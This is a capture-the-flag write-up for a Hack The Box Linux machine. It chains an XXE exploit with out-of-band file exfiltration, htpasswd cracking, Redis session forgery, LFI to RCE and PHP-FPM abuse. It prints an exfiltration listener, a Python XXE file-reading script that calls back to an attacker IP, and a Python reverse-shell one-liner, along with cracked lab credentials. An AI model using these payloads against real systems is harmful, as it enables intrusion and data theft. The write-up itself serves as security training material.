Overview
A hard Linux machine created by Tr1s0n features techniques including:
Reconnaissance
Services Discovery
We found ports 22
and 80
open on the target.
Copy $ sudo nmap -n -Pn -oN ports.txt -v -p- -sS -T4 --min-rate 1000 10.129.228.126
...
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
...
URL Path Discovery
We can find the following URL paths without authentication:
We registered a new account via /register
and we can find more paths including:
vHosts
On the home page, we see the email address info@collect.htb
, and hence we shall add the domain to the file /etc/hosts
.
We can then use the tool ffuf
to try to fuzz the vHosts and we shall see the virtual hosts forum
and developers
exist.
Copy ffuf -u http://10.129.228.126 -H 'Host: FUZZ.collect.htb' -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -fs 26197
/ '___\ /' ___\ / '___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.4.1-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.228.126
:: Wordlist : FUZZ: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.collect.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 26197
________________________________________________
forum [Status: 200, Size: 14098, Words: 910, Lines: 337, Duration: 436ms]
developers [Status: 401, Size: 469, Words: 42, Lines: 15, Duration: 6ms]
:: Progress: [4997/4997] :: Job [1/1] :: 620 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
The host developers.colloect.htb
requires us to be authenticated through HTTP authentication .
Copy $ curl http://developers.collect.htb
<! DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN" >
< html><head >
< title > 401 Unauthorized < /title >
< /head><body >
< h 1> Unauthorized < /h 1>
< p > This server could not verify that you
are authorized to access the document
requested. Either you supplied the wrong
credentials (e.g., bad password ), or your
browser doesn 't understand how to supply
the credentials required.</p>
<hr>
<address>Apache/2.4.54 (Debian) Server at developers.collect.htb Port 80</address>
</body></html>
Forum
The virtual host forum.collect.htb
hosts a forum powered by MyBB.
In a thread, we found an attachment that can be downloaded via a valid account.
The content of the attachment is generated by the BurpSuite with base64 encoded request/response payload.
Admin Role
We see a relevant URL collect.htb/set/role/admin
in the file.
Copy $ grep '\.htb' forum/burp.xml
< url ><![CDATA[http://collect.htb/set/role/admin]]></url >
...
By decoding the payload, we see the admin token may be used to set our account to be of the admin role.
Copy $ echo 'UE9TVCAvc2V0L3JvbGUvYWRtaW4gSFRUUC8xLjENCkhvc3Q6IGNvbGxlY3QuaHRiDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0OyBydjoxMDQuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMDQuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS9hdmlmLGltYWdlL3dlYnAsKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IHB0LUJSLHB0O3E9MC44LGVuLVVTO3E9MC41LGVuO3E9MC4zDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvbm5lY3Rpb246IGNsb3NlDQpDb29raWU6IFBIUFNFU1NJRD1yOHFuZTIwaGlnMWszbGk2cHJnazkxdDMzag0KVXBncmFkZS1JbnNlY3VyZS1SZXF1ZXN0czogMQ0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkNvbnRlbnQtTGVuZ3RoOiAzOA0KDQp0b2tlbj1kZGFjNjJhMjgyNTQ1NjEwMDEyNzc3MjdjYjM5N2JhZg==' | base64 -d
POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64 ; x64 ; rv:104.0 ) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml ;q = 0.9,image/avif,image/webp,*/* ;q = 0.8
Accept-Language: pt-BR,pt ;q = 0.8,en-US ;q = 0.5,en ;q = 0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
token = ddac62a28254561001277727cb397baf
We successfully updated our collect.htb
account to the admin role using that token and we see that we are redirected to /admin
.
We can access the administration panel now.
Internal API
There's a form on the admin page which will post data in the XML format.
It looks like the form data is passed to an internal API.
Initial Access
XXE
We try to test if the endpoint /api
above has the XXE vulnerability.
From the error message, we see that the endpoint may have the XXE vulnerability.
Out-of-band XXE
We can exfiltrate data by serving an external malicious DTD file as the following explanation.
To demonstrate the out-of-band XXE, we set up an Express app which will
serve the varying DTD files and
decode the base64 encoded out-of-band information,
Copy const express = require ( 'express' )
const app = express ()
const port = 8000
app .use ( express .static ( 'public' ))
app .get ( '/' , (req , res) => {
try {
console .log ( Buffer .from ( req . query . leak .replace ( / / g , '+' ) , 'base64' ) .toString ())
} catch (e) {
}
res .send ( 'ok' );
})
app .listen (port , () => {
console .log ( `Example app listening on port ${ port } ` )
})
Then we can use the following Python script to read files on the target interactively.
Copy #!/usr/bin/env python3
import cmd
import requests
class Lfi ( cmd . Cmd ):
def __init__ ( self ):
super (). __init__ ()
def emptyline ( self ):
pass
def default ( self , path ):
content = f '''<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource= { path } ">
<!ENTITY % payload "<!ENTITY % run SYSTEM 'http://10.10.14.10:8000/?leak=%file;'>">
%payload;
%run;'''
with open ( './http/public/oob.dtd' , 'w' ) as dtd :
dtd . write (content)
proxies = {
'http' : 'http://localhost:8080'
}
cookies = {
'PHPSESSID' : '2slrifhvc8652e7t8tg1116liq'
}
data = {
'manage_api' : '''<!DOCTYPE root [<!ENTITY % x pl
SYSTEM "http://10.10.14.10:8000/oob.dtd"> %x pl;]><root><method>POST</method>
<uri>/auth/register</uri> <user><username>test</username><password>test</password>
</user></root>'''
}
requests . post ( 'http://collect.htb/api' , proxies = proxies, cookies = cookies, data = data)
l = Lfi ()
l . cmdloop ()
We see that we can read the local files now.
Given that, there's a virtual host developers.collect.htb
, here we need to guess the config file's name for it.
We see the usage of the .htpasswd
file in the config and we shall try to crack the password to access the site.
htpasswd Crack
We can try to crack the htpasswd hash using hashcat
with mode 1600.
Copy $ hashcat -m 1600 < htaccess_hashe s > < wordlist
$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1:r0cket
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Apache $apr1$ MD5, md5apr1, MD5 (APR)
Hash.Target......: $apr1$MzKA5yXY$DwEz .jxW9USWo8.goD7jY1
Time.Started.....: Sun Sep 3 15:31:17 2023 (13 secs )
Time.Estimated...: Sun Sep 3 15:31:30 2023 (0 secs )
Guess.Base.......: File (/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 16400 H/s (7.21ms) @ Accel:64 Loops:500 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 214272/14344384 (1.49%)
Rejected.........: 0/214272 (0.00%)
Restore.Point....: 214016/14344384 (1.49%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:500-1000
Candidates.#1....: rayburn - > public1
We successfully got the credential developers_group:r0cket
.
Developers
After we get access to the site developers.collect.htb
, we use the file-reading ability to inspect the source code of the site.
We see that we need to be authenticated to access the page index.php
.
/var/www/developers/index.php
Copy <?php
require './bootstrap.php';
if (!isset($_SESSION['auth']) or $_SESSION['auth'] != True) {
die(header('Location: /login.php'));
}
if (!isset($_GET['page']) or empty($_GET['page'])) {
die(header('Location: /?page=home'));
}
$view = 1;
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="assets/js/tailwind.js"></script>
< title > Developers Collect </ title >
</ head >
< body >
...
We found there's an LFI vulnerability we can exploit if we can get authenticated.
Copy ...
< div class= "flex flex-col h-screen justify-between" >
<? php include ( "header.php" ); ?>
< main class= "mb-auto mx-24" >
<? php include ($_GET[ 'page' ] . ".php" ); ?>
</ main >
<? php include ( "footer.php" ); ?>
</ div >
</ body >
</ html >
By inspecting the file bootstrap.php
, we see that the site uses Redis to manage sessions, refer to session.save_hander .
Redis Session Handler
We can authenticate to the Redis server using nc
with password COLLECTR3D1SPASS
found above.
Copy $ nc -v collect.htb 6379
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 10.129.228.126:6379.
AUTH COLLECTR3D1SPASS
+OK
We can manipulate our session data to be authenticated via the above Redis connection.
Copy $nc -v collect.htb 6379
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 10.129.228.126:6379.
AUTH COLLECTR3D1SPASS
+OK
keys *
* 2
$43
PHPREDIS_SESSION:2slrifhvc8652e7t8tg1116liq
$43
PHPREDIS_SESSION:3i95sto32sf9k15nqlll86emon
set "PHPREDIS_SESSION:3i95sto32sf9k15nqlll86emon" "auth|b:1;"
+OK
We can access the page and abuse the LFI now.
LFI to RCE
With full control of the PHP include path, we may try to upgrade the LFI ability to RCE via PHP filters.
As in the above article, we can get the RCE using a chain of PHP filters.
Lateral Movement
PHP-FPM
We first found the port 9000
, which may be used by PHP-FPM
, is opened on the localhost.
We can check if this port is used by php-fpm
using ps
and check the user running it is victor
by checking the config www.conf
under /etc/php/8.1/fpm/pool.d
, refer to the documentation .
List of pool directives
With FPM you can run several pools of processes with different setting. These are settings that can be tweaked per pool.
... SNIP
user string
Copy Unix user of FPM processes. This option is mandatory.
FastCGI Protocol
We can talk to the PHP-FPM
using the FastCGI Procotol .
By uploading the Python script fpm.py
, we can run commands under the user victor
now.
We can use Python to get our reverse shell now.
Copy (Cmd) python3 /tmp/fpm.py localhost /var/www/developers/index.php -c "<?php system(\"python3 -c 'import socket,pty,os;s=socket.socket();s.connect((\\\"10.10.14.6\\\",4444));[os.dup2(s.fileno(),i) for i in range(3)];pty.spawn(\\\"/bin/bash\\\");'\");?>"
Privilege Escalation
We found an Express app source code under the user victor
's home directory and the app seems to be running under the user root
.
The story goes on...
Reference